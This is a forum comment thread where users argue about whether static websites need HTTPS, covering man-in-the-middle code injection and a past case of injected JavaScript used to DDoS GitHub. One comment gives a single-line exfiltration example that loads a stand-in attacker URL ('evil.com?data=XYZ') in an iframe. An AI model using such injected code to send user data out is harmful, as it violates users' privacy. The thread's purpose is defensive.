News for hackers. Stuff that matters.
Re:Why Static Websites Need HTTPS by jsjohnst on Tuesday August 28, 2018 @08:29AM (#17858235)
> The only thing that crosses the wire is a request for the application code and a response with that code.

If someone man-in-the-middled the downloading of the app code (trivial, if not HTTPS), then none of those constraints you later mention would be true and the user’s data is now compromised.

Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @03:39PM (#17862167)
In the case described there is no user data crossing the wire to compromise. Secondly, a man in the middle attack is only valid (in this case) if you want to modify the application code in transit to corrupt the application itself. This is defacement and nontrivial. Finally, you cannot use this form of attack to break privacy. Others on here have attempted examples, but they have all failed.

If you can break same origin policy submit a bug to Google. That would be a significant defect that would warrant their top tier bug bounty.

https://en.wikipedia.org/wiki/Man-in-the-middle_attack

Re:Why Static Websites Need HTTPS by jsjohnst on Tuesday August 28, 2018 @09:07PM (#17864383)
If the app code goes over HTTP, it makes zero difference if you send data or not in your app. Not exactly the same scenario, but very close to my point is a situation a while back where JavaScript was injected into non-SSL web traffic that was used to DDoS Github[0].

Seriously, use HTTPS for everything. Not to be rude at all (seriously!), but it’s pretty obvious by this thread and the other you linked to that you don’t have the knowledge/experience on this topic, so do your users a favor and trust when I say you need to be using HTTPS.

[0] https://www.theregister.co.uk/2015/03/27/github_under_fire_f...

Re:Why Static Websites Need HTTPS by UncleMeat on Tuesday August 28, 2018 @03:51PM (#17862263)
There is no user data crossing the wire. You are instead sending code that the user will execute. An attacker can substitute literally any code they wish. This new code can collect user data and send it over the wire literally anywhere.

SOP offers zero protection against this. Just load evil.com?data=XYZ in an iframe.

Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @04:03PM (#17862362)
Re:Why Static Websites Need HTTPS by jsjohnst on Tuesday August 28, 2018 @09:11PM (#17864411)
> Others on here have attempted examples, but they have all failed.

Where? I’m happy to prove the attack vector if necessary, would be trivial for me to do if the app is designed the way you described it (and no, not eligible for any Google bounty as this has nothing to do with same origin policy).